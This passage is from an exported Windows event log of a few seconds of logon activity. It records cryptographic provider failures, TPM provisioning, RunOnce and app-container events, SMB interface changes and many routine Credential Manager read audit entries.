08:29:05.658\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.707\t1001\tFor internal use only.\tInformation\tMicrosoft-Windows-Storsvc/Diagnostic\tMicrosoft-Windows-Storsvc\n05.09.2026 08:29:05.737\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t17\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.749\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.749\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.749\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.749\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.751\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.751\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.751\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.773\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:29:05.774\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.778\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.802\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.811\t9708\tFinished execution of command 'setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging --on-logon' (PID 9072).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.811\t9706\tFinished enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.811\t9704\tRunOnce commands finished.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.821\t1025\tThe TPM was successfully provisioned and is now ready for use.\tInformation\tSystem\tMicrosoft-Windows-TPM-WMI\n05.09.2026 08:29:05.835\t8001\t\"Skipping license manager: PFN Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.870\t210\tCreated Desktop AppX container {245CDB4D-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:05.870\t211\tAdded process 13892 to Desktop AppX container 245cdb4d-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:05.895\t505\t\"Compatibility fix applied to C:\\Program Files\\WindowsApps\\Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\\PhoneExperienceHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:29:06.386\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.388\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.388\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.390\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.392\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:06.394\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.424\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.424\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.453\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.453\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.454\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.528\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.530\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.530\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.532\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.534\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:06.536\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.566\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.567\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.597\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.598\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.598\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:07.382\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:07.382\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:07.711\t15\t\"New client uses VBS Key Isolation\nName: msedgewebview2.exe\nBinding status: 0x80090039 (VBS key isolation is not available.)\nClient instance binding attempts: 1\n\"\tInformation\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:07.711\t25\tVBS Key Isolation status: Could not connect\tInformation\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:07.711\t4\t\"Create Key operation failed.\n\n Cryptographic Parameters:\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tChromeMetricsTestKey\n \tAlgorithm Name:\tECDSA_P256\n \tFlags:\t\t0x20000\n Failure Information:\n  \tReturn Code:\t0x80090039\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:08.310\t1040\tReceived Mib notification type MibParameterNotification for interface 7\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.310\t1034\tSend RDMA Endpoint notification failure - Error getting unicast ip address entry for interface 7. The object was not found.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.312\t30811\t\"Deleted a TCP/IP transport interface.\n\nName: \u0411\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0430\u044f \u0441\u0435\u0442\u044c\nInterfaceIndex: 0x7\n\nGuidance:\nA TCP/IP binding was removed from the specified network adapter for the SMB client. You should expect this event when a computer shuts down or when a previously enabled network adaptor is disabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:08.312\t1040\tReceived Mib notification type MibDeleteInstance for interface 7\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.312\t1033\tSent RDMA disabled event to LanmanServer for interface \\Device\\RdmaSmbIpv4_169.254.156.52.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.312\t1034\tSend RDMA Endpoint notification failure - Error updating transport list for device \\Device\\RdmaSmbIpv4_169.254.156.52. Object Name not found..\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.314\t1040\tReceived Mib notification type MibParameterNotification for interface 7\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.344\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:08.360\t201\tCreated process 13720 for application Microsoft.OfficePushNotificationUtility_8wekyb3d8bbwe!OPushUtil in package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe. [FinishPackageActivation]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:08.390\t30812\t\"Added a TDI transport interface.\n\nName: \\Device\\NetBT_Tcpip_{449F824D-2856-4717-A3A7-CF59FAAC817A}\n\nGuidance:\nA TDI (NetBIOS) binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TDI. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:08.406\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:08.490\t326\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeployment/Operational\tMicrosoft-Windows-AppXDeployment\n05.09.2026 08:29:08.495\t819\tThe following packages will be installed: . The following packages will be removed: \tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:08.546\t327\tThe following packages will be installed: NULL. The following packages will be removed: NULL\tVerbose\tMicrosoft-Windows-AppXDeployment/Operational\tMicrosoft-Windows-AppXDeployment\n05.09.2026 08:29:08.621\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.623\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.623\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.627\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:08.628\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.673\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.674\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.704\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.705\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 